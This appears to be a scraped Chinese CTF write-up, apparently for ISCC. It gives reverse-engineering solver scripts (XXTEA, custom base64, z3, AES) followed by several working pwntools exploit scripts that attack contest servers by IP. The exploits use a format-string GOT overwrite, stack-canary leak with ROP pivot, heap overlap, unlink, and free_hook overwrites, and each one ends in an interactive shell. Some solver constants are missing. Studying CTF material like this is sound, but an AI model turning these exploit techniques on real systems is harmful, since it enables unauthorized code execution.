v6='LWHFUENGDJGEFHYDHIGJ' v9=[149,169,137,134,212,188,177,184,177,197,192,179,153,140,175,146,105,157,104,184] str='' flag='' for i in range(len(v6)): str+=chr(v9[i]-ord(v6[i])) for i in range(len(v9)): flag+=chr(ord(str[i])^i) print(flag)

import base64string = ['I', 'S', 'C', 'C', 'Y', 'E', 'S'] string2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "dai = 'rJFsLqVyFKZBHDkIqr5wu LZlu1Eo1pZLommCrv='# base64 flag = '' for i in range(0, len(dai)): if dai[i] in string2: v = string2.find(dai[i]) v2 = string2.find(string[i % 7]) out = string2[v - v2] flag += out else: flag += dai[i] print(flag) flag = base64.b64decode(flag) print(flag) flag = list(flag) for o in range(len(flag)): flag[o] = chr(flag[o] ^ ((o % 7) + 1)) print(''.join(flag)[:-4])

#include #include #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[e^p&3] ^ z)))void btea(uint32_t* v, int n, uint32_t const key[4]) { int y, z, sum, t; unsigned p, rounds, e; if (n > 1)/* Coding Part */ { rounds = 6 + 52 / n; sum = 0; z = v[n - 1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p = 0; p < n - 1; p++) { y = v[p + 1]; t = v[p]; t += MX; z = t; } y = v[0]; z = v[n - 1] += MX; } while (--rounds); } else if (n < -1)/* Decoding Part */ { n = -n; rounds = 6 + 52 / n; sum = rounds * DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n - 1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } }int main() { uint32_t v[] = { 0x583A2755,0x15F437DE, 0xEB4BF8AF,0xD9F98EF2, 0x42CCAB39,0x7A857094, 0x912E821D,0xCD3148B7, 0x743BC712,0x487532A5, 0x5A630997,0x80576CDB, 0x11783A4D,0x73D2C70E, 0xD6EE81AC,0xDAFA0F09, 0xAC79A9EC,0x91F4B9B7 }; uint32_t const k[4] = { 73,83,67,67 }; int n = 18; //n的绝对值表示v的长度，取正表示加密，取负表示解密//btea(v, n, k); btea(v, -n, k); for (int i = 0; i < 18; i++) { printf("%x ", v[i]); } return 0; }

from z3 import * s = Solver() v16=[Int('v16[%d]'%i) for i in range(7)] v15=Int('v15') s.add(v16[1] + 7 * v16[0] - 4 * v15 - 2 * v16[2] == ) s.add(5 * v16[2] + 3 * v16[1] - v16[0] - 2 * v15 == ) s.add(2 * v16[0] + 8 * v16[2] + 10 * v15 - 5 * v16[1] == ) s.add(7 * v15 + 15 * v16[0] - 3 * v16[2] - 2 * v16[1] == ) s.add(15 * v16[3] + 35 * v16[6] - v16[4] - v16[5] == ) s.add(38 * v16[5] + v16[3] + v16[6] - 24 * v16[4] == ) s.add(38 * v16[4] + 32 * v16[3] - v16[5] - v16[6] == ) s.add(v16[3] + 41 * v16[5] - v16[4] - 25 * v16[6] == ) if s.check(): print(s.model())

from Crypto.Util.number import long_to_bytes v16=[0]*7v16[2] = v16[4] = v15 = v16[6] = v16[3] = v16[1] = v16[5] = v16[0] = flag=long_to_bytes(v15) for i in v16: flag+=long_to_bytes(i) print(flag)

b = [ 0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E, 0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73, 0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD, 0x0B, 0xE2 ] c = [0xe4,0x09,0xd9,0x47,0xf8,0x10,0xa3,0xb8,0x09,0xce,0x30, 0x8c,0x64,0x97,0x4e,0x0a,0x3e,0x4b,0x51,0x07,0x8f,0x79,0x60,0x5b,0x9b] m = [] for i in range(len(c)): m.append(c[i]^b[i]) key = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62, 0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64, 0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64] def lll(a,b): if a>b: return 0 else: return -1 f = '' for i in range(len(m)): for j in range(128): if (lll((key[i]+0xd0)&0xff,0xa) + j +2)&0xff == m[i]: f += chr(j) print(f) break p = list(f[::-1])print() def ppp(num): a = num&1 return a==0 for i in range(len(p)): if ord('a')<=ord(p[i])<=ord('z'): p[i] = chr(ord(p[i])^0x20) elif ord('A')<=ord(p[i])<=ord('Z'): p[i] = chr(ord(p[i])^0x20) elif ord('0') <=ord(p[i])<=ord('9'): a = ord(p[i]) + 1 b = ord(p[i]) - 1 if ppp(ord(p[i])): p[i] = chr(a) else: p[i] = chr(b) else: pass for i in range(len(p)): print(p[i],end='')

#include using namespace std; void one(); int main(){ one(); return 0; } void one() { char Str[100]; int a[100]; char a1[] = ".W1BqthGbfGvLc3IaAWByo.W15oXRKXiUyXXBYe01VoVlKX2zWVNJUuilkoF0."; int a2 = 2; int len = strlen(a1); for (int i = 0; i < len; i++) { for (int j = 0; j < 128; j++) { a[i] = j; if (a[i] < 65 || a[i] > 90) { if (a[i] >= 97 && a[i] <= 122) { a[i] = (a[i] + a2 - 97) % 26 + 97; } } else { a[i] = (a[i] + a2 - 65) % 26 + 65; } if ((char)a[i] == a1[i]) { Str[i] = j; } } } for (int num = 0; num < len; num++) { cout << Str[num]; } cout << endl; } 得到的密文去点进行换表base64解密，在进行base64解密 import base64 import string str1 = "U1ZorfEzdEtJa3GyYUZwmU15mVPIVgSwVVZWc01TmTjIV2xUTLHSsgjimD0====" string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"flag1 = base64.b64decode(str1.translate(str.maketrans(string1,string2))) flag = base64.b64decode(flag1) print(flag)

“这一部分传入到Jlast，在Jlast里面进行md5+base64，
文章图片

从这里可以看出，”

#include using namespace std; int main() { int i = 0; bool z = false; char a[] = "=IkMBb+=gF2/Try5PCUruw1j"; char b[100]; for (int i2 = 5; i2 >= 0; i2--) { if (!z) { for (int i3 = 3; i3 >= 0; i3--) { b[(i3 * 6) + i2] = a[i]; i++; } z = true; } else { for (int i4 = 0; i4 <= 3; i4++) { b[(i4 * 6) + i2] = a[i]; i++; } z = false; } } for (int num = 0; num < 24; num++) { cout << b[num]; } cout << endl; system("pause"); return 0; }

a = input("加密的数据:")[:-1] print("输入so的数据:") b = input("one:") b+=b c = input("two:") c+=c d = input("three:") d+=d e = input("four:") e+=e f = input("five:") f+=f g = input("six:") g+=g h = input("seven:") h+=h i = input("eight:") i+=i j = input("nine:") j+=j k = input("ten:") k+=k l = input("eleven:") l+=l m = input("twelve:") m+=m n = [5,1,51,2,52,12,512,3,53,13,513,23,523,123,5123,4,54,14,514,24,524,124,5124,34,534,134,5134 ,234,5234,1234,51234] a=list(map(int,a.split("0"))) o="ABCDEFGHIJKLMNOPQRSTUVWXYZ" p = [] for r in a: p.append(o[n.index(r)]) q = [d,m,g,i,h,c,e,l,b,f,j,k] print("ISCC{",end='') for r in range(12): print(q[r][q[r].index(p[r],26)-9],end='') print('}')

from Crypto.Cipher import AES import base64 def decrypt(password): key = b'QERAPG9dPyZfTC5f' iv = b"aUBTJjg4Q2NDLg==" aes = AES.new(key,AES.MODE_CBC,iv) result = aes.decrypt(base64.b64decode(password.encode())) return result from itertools import product t =['c3KJ+XJQ','zJbrlKs=','NzQp2BU=','iLfdeK4=','J0xVWTT=','N3k3Kzy='] for c in product(range(1,6),repeat=5): if len(set(c)) != len(c): continue d = [0] + list(c) s='' for i in range(8): for idx in d: s+=t[idx][i] print(decrypt(s[:-4]))

from pwn import*p = remote("123.57.69.203",7010) #p = process("./sp1") #context(log_level="debug") elf = ELF("./sp1") libc = ELF("./libc-2.27.so") puts_got = elf.got['puts'] p.recvuntil("Can you find the magic word?\n") printf_got =elf.got['printf']payload1 = p32(puts_got)+b'%6$s' p.sendline(payload1) p.recv(4) puts_addr = u32(p.recv(4))base_addr = puts_addr - libc.symbols["puts"] sys_addr = base_addr + libc.symbols["system"] p.sendline('a')payload = fmtstr_payload(6,{printf_got:sys_addr}) p.recvuntil('a\n')p.sendline(payload) p.sendline('/bin/sh\x00') p.interactive()

from pwn import * context.log_level='debug' #io=process("./sp1") io=remote("123.57.69.203",7010) elf = ELF("./sp1") libc = ELF("./libc-2.27.so") puts_got = elf.got['puts'] io.recvuntil("Can you find the magic word?\n")pay_1 = p32(elf.got["puts"])+"%6$s" #gdb.attach(io) io.sendline(pay_1) io.recv(4) puts_addr = u32(io.recv(4)) print "puts_got="+hex(puts_addr) #gdb.attach(io) printf_got = elf.got['printf'] print "printf_got="+hex(printf_got) libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] print "system_addr="+hex(system_addr) io.sendline("A")payload1 = fmtstr_payload(6, {printf_got: system_addr}) io.recvuntil("A\n") #gdb.attach(io) io.sendline(payload1) io.sendline("/bin/sh")io.interactive();

from pwn import * from LibcSearcher import LibcSearcher p=remote('123.57.69.203',7020) p.recvuntil('Hello CTFer! Welcome to the world of pwn~\n') elf=ELF('./attachment-10') for i in range(216): p.sendline(b'123') p.sendline(b'65')p.send(b'c') p.recvuntil(b'A') result=p.recv() canary=u64(result[:7].ljust(8,b'\x00'))*16*16 ebp=u64(result[7:13].ljust(8,b'\x00')) print(hex(ebp))print(hex(canary)) p.send(b'0'*(0xe0-8)+p64(canary)+b'c'*8+p8(0x98)) #第二次mainfor i in range(231): p.sendline(b'123') p.sendline(b'65') p.recvuntil(b'A')main=u64(p.recv(6).ljust(8,b'\x00'))-24 elf_base=main-0x128F init=elf_base+0x1298 put_got=elf_base+elf.got['puts'] put_plt=elf_base+elf.plt['puts'] pop_rdi=elf_base+0x130b leave=elf_base+0x124A ret=elf_base+0x1016init_1=elf_base+0x1250 fun=elf_base+0x1185print(hex(put_plt))payload=b'/bin/sh\x00'+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main) p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0)+p64(leave))#获取libc puts_addr=u64(p.recv(6).ljust(8,b'\x00')) libc=LibcSearcher('puts',puts_addr) base=puts_addr-libc.dump('puts') print(hex(puts_addr)) print(hex(base)) system=base+libc.dump('system')#第三次mainfor i in range(231): p.sendline(b'123') # gdb.attach(p) p.sendline(b'65') p.recvuntil(b'A') payload=p64(ret)+p64(ret)+p64(pop_rdi)+p64(ebp-0xd0)+p64(system) p.send(payload.ljust(0xe0-8,b'\x00')+p64(canary)+p64(ebp-0xf0-0xd8)+p64(leave))p.interactive()

#coding=utf-8 from pwn import *context(arch="amd64", os="linux") context.log_level='debug' # context.terminal=['tmux','splitw','-h']ip = '123.57.69.203' port = '7030' reomote_addr = [ip,port] binary = './untidy_note'libc = ELF('./libc-2.27.so') elf = ELF(binary) if len(sys.argv)==1: p = process(binary)if len(sys.argv)==2 : p = remote(reomote_addr[0],reomote_addr[1])#---------------------------------------------------------------------- ru = lambda x : p.recvuntil(x,timeout=0.2) sd = lambda x : p.send(x) rl = lambda: p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) it = lambda :p.interactive() ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,b'\x00')) rv6 = lambda : u64(rv(6)+b'\x00'*2) lg = lambda s: log.info('\033[1; 31; 40m %s --> 0x%x \033[0m' % (s, eval(s))) bp = lambda src=https://www.it610.com/article/None : attach(p,src) sym = lambda name : libc.sym[name] #----------------------------------------------------------------------def leak(offset): addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) base = addr - offset print "[+]libc_base=>"+hex(base) return basedef menu(idx): sla("Your choose is:\n",str(idx))def add(size): menu(1) ru("the note size is:\n") sl(str(size))def free(index): menu(2) ru("index:\n\n") sl(str(index))def edit(index,size,content): menu(3) ru("index:\n") sl(str(index)) ru("the size is:\n") sl(str(size)) ru("Content:\n") sl(content)def show(index): menu(4) ru("index:\n") sl(str(index))# attach(p)#,'b *$rebase(0x0000000000000A8B)') sla("Your name is:",str("Epiphany")) #--leak add(0x10) for j in range(25): add(0x20-1)add(0x10) #26 payload ='a'*0x10+p64(0)+p64(0x4b1) edit(0,len(payload),payload) free(1)show(1) offset = libc.sym['__malloc_hook'] +0x10 + 96 libc_base = leak(offset)free_hook = libc.sym['__free_hook'] + libc_base system = libc.sym['system'] + libc_basefree(26) # free(3) #num = 27 payload = p64(free_hook) edit(26,len(payload),payload)add(0x10) #25 pause() add(0x10) #26 payload = p64(system) edit(26,len(payload),payload) pause() edit(9,len('/bin/sh\x00'),"/bin/sh\x00") pause() free(9) it()

1. 布置堆布局，通过一次释放堆块，合并，在下个chunk的prev_size留下size，为overlap做准备
2. 重新申请回去，接着释放开头chunk，offbynull覆盖第三个chunk的inuse位，free掉第三个chunk，造成overlap，中间第二个chunk会overlap。
3. 在unsortedbin中制造与tcachebin的chunk overlap，将stdout后12bit偏移链入tcache
4. 申请到stdout，泄露libc，之后再构造chunk overlap，将frehook改为system

#!usr/bin/env python # coding=utf-8 from pwn import * elf = ELF("./heapheap") libc = ELF("./libc-2.27.so") def debug(): gdb.attach(p, "b main") # gdb.attach(p, "b *$rebase(0x)")def add(size, content): p.sendlineafter("Please input your choice: ", '1') p.recvuntil("Please input the size:") p.sendline(str(size)) p.recvuntil("Data:") p.send(content)def free(idx): p.sendlineafter("Please input your choice: ", '2') p.recvuntil("Please input the index:") p.sendline(str(idx))def attack(): add(0x4f8, 'a')# 0 add(0xf8, 'a')# 1 add(0xf8, 'a')# 2 add(0xf8, 'a')# 3 free(2) add(0xf8, 'a' * 0xf0 + p64(0x700))# 2 for i in range(6): add(0xf8, 'a') for i in range(4, 10): free(i) free(1) free(0) free(3) add(0x4f8, 'a')# 0 add(0x28, p16(0xa760))# 1 add(0xf8, 'a')# 3 add(0xf8, p64(0xfbad1800) + p64(0) * 3 + '\x00')# 4 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ed8b0 log.info("libc_base==>0x%x" % libc_base) mlh = libc_base + libc.sym['__malloc_hook'] sys = libc_base + libc.sym['system'] ogg = libc_base + 0x10a41cfree(2) add(0x1f8, 'a' * 0xc8 + p64(0x101) + p64(mlh))# 2 add(0xf8, 'a')# 5 add(0xf8, p64(ogg))# 6 p.sendlineafter("Please input your choice: ", '1') p.recvuntil("Please input the size:") p.sendline(str(0x58))while True: try: # p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path}) p = remote("123.57.69.203", 5320) attack() p.sendline("cat flag.txt") p.interactive() break except: p.close()

1. 溢出栈，布置栈迁移 rop
2. 堆溢出覆盖 topchunk，free 到 unsortedbin，申请出来泄露 libc
3. 申请大内存，溢出覆盖 tls 结构的 canary
4. 输入 cmd，在 cmd 后面构造调用 execve 的 rop
5. exit 返回到 main 函数，绕过 canary，栈迁移到 bss，调用 ececv

from pwn import * context.log_level = 'debug' context.terminal = ["/bin/tmux","sp","-h"] io = remote('123.57.69.203',5330 ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') # io = process('./Huge_Space') #libc = ELF('.bc.so.6') elf = ELF('./Huge_Space') l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00")) rl = lambda a=False : io.recvline(a) ru = lambda a,b=True : io.recvuntil(a,b) rn = lambda x : io.recvn(x) sn = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda a,b : io.sendafter(a,b) sla = lambda a,b : io.sendlineafter(a,b) irt = lambda : io.interactive() dbg = lambda text=None : gdb.attach(io, text) lg = lambda s : log.info('\033[1; 31; 40m %s --> 0x%x \033[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, '\x00')) uu64 = lambda data : u64(data.ljust(8, '\x00')) ur64 = lambda data : u64(data.rjust(8, '\x00')) def add(idx,size,content): sl('+++') sla('Index:',str(idx)) sla('Size: ',str(size)) sla('Data: ',content) def show(idx,size): sl('print') sla('Index:',str(idx)) sla('Size: ',str(size)) pop_rdi = 0x0000000000400be3 pop_rsi_r15 = 0x0000000000400be1 pop_rdx = 0x0000000000001b96 pop_rbp = 0x0000000000400860 leaveret = 0x40090F sh = 0x400909 writee = 0x400B19 # dbg() sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret)) add(0,0x10,'A'*0x10+p64(0)+p64(0xd81)) add(1,0x1000,'B') add(1,0xd50,'') #add(2,0x1fa0,'') show(1,0x20) # show(2,0x20) # irt() libcbase = l64() - 0x3ebc00 lg('libcbase') execve = libcbase + libc.symbols['execve'] lg('execve') sl('666') # dbg() add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8) sl('exit\x00\x00\x00\x00/bin\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+ p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve)) irt()

# coding=utf-8 # *- coding:utf-8 -*- # from pwn_debug import * from struct import pack from pwn import * import sys; import time; import os context(os="linux", arch="amd64", log_level="debug") # context(os="linux",arch="i386",log_level="debug") filename = "unlink" libcpath = "" sh = 0 lib = 0 elf = ELF(filename)# local长 local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")# #remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec = False) #libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so") u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6 giantbranch2.23-0ubuntu10 u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6Rencvn2.27-3ubuntu1.5 u20_local_one = [0xe3b2e,0xe3b31,0xe3b34]# one_gadget (-l2) /lib/x86_64-linux-gnu/libc.so.6Ln-Pwn2.31-0ubuntu9.7""" """ l64 = lambda:u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda:u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00")) #bytes ==>int #常用于调用了ROP输出类函数后，接受并转化为int类型 #uxx(ru("\x7f")[-6:].ljust(8,"\x00")) leak= lambda name,data:sh.success(name + ": 0x%x" % data) s= lambda payload:sh.send( payload) sa= lambda a,b:sh.sendafter(str(a),str(b)) sl= lambda payload:sh.sendline(payload ) sla = lambda a,b:sh.sendlineafter(str (a),str(b)) ru= lambda a:sh.recvuntil(str(a)) r= lambda numb=4096:sh.recv(numb) # https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e rl= lambda:sh.recvline() uu32= lambda data:u32(data.ljust(4, b'\x00')) uu64= lambda data:u64(data.ljust(8, b'\x00')) # https://blog.cc arol2358/article/details/106262701 info_addr = lambda tag, addr:sh.info(tag + ': {:#x}'. format(addr)) check = lambda data:"data="https://www.it610.com/article/,data,"|*|","type=>",type(data)# 这里使用print会报错 # 交互时 # py2 <==> str = bytes #addr=int(sh.recvuntil('\n',drop=True),base=16)def add(index,size,data): success("########->add<-########") sl("add")# fgets sla("Index: ",str(index)) sla("Size: ",str(size))# scanf sa("Data: ",data+"\n")# getsdef delete(index): success("########->delete<-########") sl("remove")# fgets sla("Index: ",str(index)) # scanfsys = 0x400896 #sh = process("./unlink") sh = remote("123.57.69.203",5810) #gdb.attach(sh,"b *0x400A78") #malloc# #gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) ) add(0,0x410,"aaaa")#fake_chunk)#0 add(1,0xe8,"bbbb")#1 add(2,0x4f0,"cccc")#2 add(3,0x60,"/bin/sh\x00dddd")#3 add(4,0x60,"/bin/sh\x00eeee")#4delete(0) #pause() delete(1) for i in range(6): add(1,0xe8-i,"b"*(0xe8-i)) delete(1)add(1,0xe8,"b"*0xe0+p64(0x510))#1 delete(2) #合并chunk2+chunk1+chunk0 success("合并chunk")delete(1) fgets_got=elf.got["fgets"]#0x601050 free_got= elf.got["free"]#0x601018 system_plt = elf.plt["system"]; system_got = elf.got["system"] puts_plt = elf.plt["puts"]add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420)+p64(0xf0)+p64(free_got))#chunk0 + chunk1 add(5,0xe0,"/bin/sh\x00ffff")add(6,0xe0,3*p64(system_plt+6))#add(6,0xe0,2*p64(0x400706)) #xxx #add(6,0xe0,2*p64(sys)) raw_input() sl("/bin/sh\x00") #delete(5) sh.interactive()

# -*- coding: UTF-8 -*- from pwn import *context.log_level = 'debug' context.terminal = ["/bin/tmux","sp","-h"]io = remote('123.57.69.203',5820 ) # io = remote('127.0.0.1',49161 ) # libc = ELF('./libc-2.31.so') # io = process('./hos') libc = ELF('./libc.so.6') elf = ELF('./hos')l64 = lambda:u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda:u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00")) rl = lambda a=False: io.recvline(a) ru = lambda a,b=True: io.recvuntil(a,b) rn = lambda x: io.recvn(x) sn = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda a,b: io.sendafter(a,b) sla = lambda a,b: io.sendlineafter(a,b) irt = lambda: io.interactive() dbg = lambda text=None: gdb.attach(io, text) lg = lambda s: log.info('\033[1; 31; 40m %s --> 0x%x \033[0m' % (s, eval(s))) uu32 = lambda data: u32(data.ljust(4, '\x00')) uu64 = lambda data: u64(data.ljust(8, '\x00')) ur64 = lambda data: u64(data.rjust(8, '\x00'))def add(size,content): sl('fill') sl(str(size)) sl(content) def delete(): sl('get')buf = 0x6010a0 cmd = 0x601160add(0x41,'a')#n =0 # add(0x31,'a')#n=0 pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70) sl(pay) sl('get')#n=-1 add(0x81,'a')#n=0 add(0x81,'a')#n=1 add(0x81,'a')#n=2 add(0x81,'a')#n=3 add(0x81,'a')#n=4 add(0x81,'a')#n=5 add(0x81,'a')#n=6 add(0x81,'a')#n=7 delete() delete() delete() delete() delete() delete() pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10) sl(pay) add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1 delete()#n=0 sl('get')#n=-1 add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0 sl('get')#n=-1 libcbase = l64() -0x3ebca0 lg('libcbase') freehook = libcbase + libc.symbols['__free_hook'] lg('freehook') system = libcbase + libc.symbols['system'] lg('system') add(0x81,'a')#n=0pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40) sl(pay)#n = -1pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40) sl(pay)#n = 0add(0x81,p64(system)) add(0x41,'/bin/sh\x00') delete() # dbg()irt()

推荐阅读

• 

  5类商标分类 商标30类什么意思，商标三十五类
• 

  柠檬泡酒能祛斑吗
• 

  水仙土培好还是水培好 水仙可以土培么
• 

  如何绘制简单的中国地图？
• 

  如何安装手机服务器系统？ 手机服务器系统怎么安装
• 

  分析恐怖事件,美国911恐怖事件
• 

  年画产地有哪三个
• 

  广东惠州最好的大学
• 

  《暗黑破坏神3：夺魂之镰》野蛮人废土套玩法攻略
• 

  win10关机选项无睡眠的解决技巧在哪 WIN10关机选项无睡眠的解决技巧
• 

  诌一套《哀江南》，放悲声唱到老
• 

  2023年成都居民大病医疗互助报销比例是多少
• 

  华为p40的返回键在哪里（华为p40怎么设置返回键）
• 

  肾阳虚喝什么茶叶好？四款茶饮值得一试
• 

  防溺水六不一会内容 防溺水六不一会分别是什么
• 

  云电脑哪个好用?玩玩dnf或者lol？
• 

  一杯酸奶的热量是多少大卡
• 

  iPhone改语言有什么坏处，苹果6s把语言改成英文有什么影响
• 

  两高贷款诈骗罪司法解释重要规定都有哪些
• 

  豆粕是什么东西

• 黑客技巧|nmap在kali的使用方法和常见命令（入门）
• 基本DOS命令|基本DOS命令用法
• springboot整合技术|springboot整合shiro+jwt+redis详解
• 安全|MSF(3)——apk和exe的加马(过360、火绒)
• 面试笔试题|Https的加密原理是什么（）
• 渗透测试|SRC挖掘密码重置漏洞总结
• web安全|基于报错和延时的注入(不限场景)
• xss|XSS 常用标签及绕过姿势总结
• 黑客工具|漏洞扫描工具Nessus详细使用教程